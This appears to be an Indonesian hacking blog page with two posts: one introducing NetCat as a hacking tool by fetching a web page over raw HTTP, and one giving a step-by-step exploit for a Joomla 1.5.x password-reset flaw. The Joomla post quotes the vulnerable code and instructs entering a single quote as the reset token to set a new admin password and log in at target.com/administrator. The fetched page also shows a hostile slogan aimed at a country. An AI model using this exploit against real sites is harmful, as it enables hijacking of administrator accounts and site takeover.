Showing posts with label All About Computer. Show all posts
Showing posts with label All About Computer. Show all posts

Mengenal hacking tool V.01 - NetCat

Wednesday, June 10, 2009 at 10:20 AM

NetCat adalah sebuah tool serbaguna untuk hacking. Salah satu kekuatan NetCat bukan terletak pada fitur-fiturnya yang memiliki kemampuan mumpuni untuk hacking, melainkan pada kemampuannya untuk dipakai pada platform UNIX dan WINDOWS. NetCat bertindak sebagaisebuah baris negotiator HTTP yang meminta informasi dari sebuah web server tanpa ada komponen tambahan dari sebuah browser yang umum digunakan. Dalam banyak hal, kenyataannya NetCat bisa menggantikan fungsi browser secara keseluruhan untuk meng-HACK web. Dengan kata lain, NetCat bisa melakukan hampir semua hal penting dalam hacking, seperti mengambil informasi dari we bserver, menerapkan teknik-teknik penyingkapan source code, dan menyisipkan karakter-karakter pada statement SQL menggunakan perintah GET dan POST. NetCat merupakan sebuah tool yang bertipe Command-Line, karena itu tool ini bisa dengan mudah diotomasikan.

Saya akan mencoba mengambil halaman web default pada sebuah web server dengan menggunakan NetCat :

C:\> nc 192.168.1.5 (IP) 81(PORT)
GET \ HTTP\1.0

HTTP\1.1 200 OK
Server: Microsoft-IIS\5.0
Content-Location: http://192.168.0.5/Default.htm
Date: Tue, 09 Jun 2009 00:00:19 GMT
Conent-Type: text/html
Accept-Ranges: bytes
Last-Modified: Mon, 08 Jun 2009 06:48:35 GMT
Etag: "a0f7751137ddc11:8fa"
Content-Length: 5


Hello, I Hate M****sia


Untuk mempersingkat, baris tunggal pada halaman default.asp di server tujuan adalah kata "Hello, I hate M****sia". Oleh karena itu, kita melihat apa yang dikembalikan oleh web server : rincian header HTTP/1.1 dan kata "Hello, I hate M****sia".


Mereset password administrator situs berbasis Joomla 1.5.x !

Sunday, June 7, 2009 at 8:13 AM
File : /components/com_user/controller.php

#####################################################################################
Line : 379-399

function confirmreset()
{
// Check for request forgeries
JRequest::checkToken() or die( 'Invalid Token' );

// Get the input
$token = JRequest::getVar('token', null, 'post', 'alnum'); < --- {1}

// Get the model
$model = &$this->getModel('Reset');

// Verify the token
if ($model->confirmReset($token) === false) < --- {2}
{
$message = JText::sprintf('PASSWORD_RESET_CONFIRMATION_FAILED', $model->getError());
$this->setRedirect('index.php?option=com_user&view=reset&layout=confirm', $message);
return false;
}

$this->setRedirect('index.php?option=com_user&view=reset&layout=complete');
}

#####################################################################################

File : /components/com_user/models/reset.php

Line: 111-130



function confirmReset($token)
{
global $mainframe;

$db = &JFactory::getDBO();
$db->setQuery('SELECT id FROM #__users WHERE block = 0 AND activation = '.$db->Quote($token)); < ---- {3}

// Verify the token
if (!($id = $db->loadResult()))
{
$this->setError(JText::_('INVALID_TOKEN'));
return false;
}

// Push the token and user id into the session
$mainframe->setUserState($this->_namespace.'token', $token);
$mainframe->setUserState($this->_namespace.'id', $id);

return true;
}
#####################################################################################

Example :

1. Go to url : target.com/index.php?option=com_user&view=reset&layout=confirm

2. Write into field "token" char ' and Click OK.

3. Write new password for admin

4. Go to url : target.com/administrator/

5. Login admin with new password